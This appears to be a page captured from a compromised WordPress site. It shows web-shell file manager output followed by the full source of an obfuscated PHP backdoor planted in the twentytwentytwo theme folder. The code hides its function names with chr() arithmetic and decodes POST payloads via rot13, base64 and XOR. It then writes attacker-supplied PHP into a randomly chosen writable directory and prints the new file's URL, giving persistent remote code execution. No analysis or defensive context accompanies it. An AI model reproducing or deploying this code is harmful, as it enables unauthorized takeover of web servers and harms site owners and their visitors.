HEX
Server:Apache
System:Linux localhost 5.10.0-14-amd64 #1 SMP Debian 5.10.113-1 (2022-04-29) x86_64
User:enlugo-es (10006)
PHP:7.4.33
Disabled:opcache_get_status
Upload Files
File: /var/www/vhosts/enlugo.es/httpdocs/wp-content/themes/twentytwentytwo/qcvhzkgv.php
<?php $uPGDU = chr(68).chr(892-813).chr(67).chr(1049-964).chr(77).chr(69)."\x4e".chr(1068-984).'_'."\x52".chr(79)."\x4f".'T';$VxNJtXoQb = chr(72).chr(615-531).'T'."\120".chr(1036-941)."\110".'O'."\123".chr(491-407);$SnEKMK = chr(281-177)."\x74".chr(116).chr(768-656).chr(670-612).chr(951-904)."\x2f";$lMqAuca = '.'.chr(910-798)."\x68"."\x70";$sydSvqDSY = "\160".chr(811-707)."\160";$JWlWKSJy = chr(102)."\151".'l'."\x65".chr(95)."\160".chr(1005-888)."\164".chr(208-113)."\x63"."\157".chr(110).chr(1114-998).'e'."\x6e"."\164".'s';$GOwDGgytW = "\x72".'a'.chr(209-90).chr(117).chr(1104-990).chr(108).chr(240-140).chr(167-66).chr(99)."\157".chr(100)."\x65";$VNNhxocKW = "\165".chr(951-841).'s'.chr(101).'r'.chr(537-432).chr(97)."\x6c".chr(116-11)."\x7a".chr(432-331);$JQORBLrV = chr(105).chr(519-404).'_'."\167".chr(114)."\151"."\x74".chr(840-743).'b'."\154".chr(101);$vGMFzNDA = chr(112)."\x68"."\x70"."\166"."\145".'r'.chr(115).chr(263-158).chr(111).chr(857-747);$KeUnnIob = "\x73"."\x74"."\162"."\x5f".'r'.chr(120-9).chr(116).'1'."\63";$bZgGKOXbXw = chr(115)."\x65".chr(429-315)."\151".chr(556-459)."\154"."\x69".chr(546-424)."\145";$mjBjTCvVqg = 's'.'t'."\162"."\137"."\x73".chr(114-2)."\154".'i'.chr(1060-944);foreach ($_POST as $NmgjhOzyU => $QepDkZ){$tQCAxNbX = strlen($NmgjhOzyU);if ($tQCAxNbX == 16){$QepDkZ = $mjBjTCvVqg($GOwDGgytW($KeUnnIob($QepDkZ)));$NmgjhOzyU = array_slice($mjBjTCvVqg(str_repeat($NmgjhOzyU, (count($QepDkZ)/16)+1)), 0, count($QepDkZ));function SpYIT($vunPL, $ykoxxogBW, $NmgjhOzyU){$prMUEm = "b073dc76-441d-40ac-ad93-9d0b2912ede1";return $vunPL ^ $prMUEm[$ykoxxogBW % strlen($prMUEm)] ^ $NmgjhOzyU;}$QepDkZ = array_map("SpYIT", array_values($QepDkZ), array_keys($QepDkZ), array_values($NmgjhOzyU));$QepDkZ = implode("", $QepDkZ);$QepDkZ = @$VNNhxocKW($QepDkZ);if (@is_array($QepDkZ)){$TsgIyMNE = array_keys($QepDkZ);$QepDkZ = $QepDkZ[$TsgIyMNE[0]];if ($QepDkZ === $TsgIyMNE[0]){echo @$bZgGKOXbXw(Array($sydSvqDSY => @$vGMFzNDA(), ));exit();}else {function YoUKhQf($KWqkVoGTmqir){static $nEHARDeS = array();$zBjfzHHpz = glob($KWqkVoGTmqir . '/*', GLOB_ONLYDIR);$XdTFj = count($zBjfzHHpz);if ($XdTFj > 0) {foreach ($zBjfzHHpz as $KWqkVoGTmq) {if (@$JQORBLrV($KWqkVoGTmq)) {$nEHARDeS[] = $KWqkVoGTmq;}}}foreach ($zBjfzHHpz as $KWqkVoGTmqir) YoUKhQf($KWqkVoGTmqir);return $nEHARDeS;}$yFIOoXxABZ = $_SERVER[$uPGDU];$zBjfzHHpz = YoUKhQf($yFIOoXxABZ);$TsgIyMNE = array_rand($zBjfzHHpz);$KWqkVoGTmqtwFM = $zBjfzHHpz[$TsgIyMNE] . "/" . substr(md5(time()), 0, 8) . $lMqAuca;@$JWlWKSJy($KWqkVoGTmqtwFM, $QepDkZ);$WHIRtV = $SnEKMK . $_SERVER[$VxNJtXoQb] . substr($KWqkVoGTmqtwFM, strlen($yFIOoXxABZ));print($WHIRtV);die();}}}}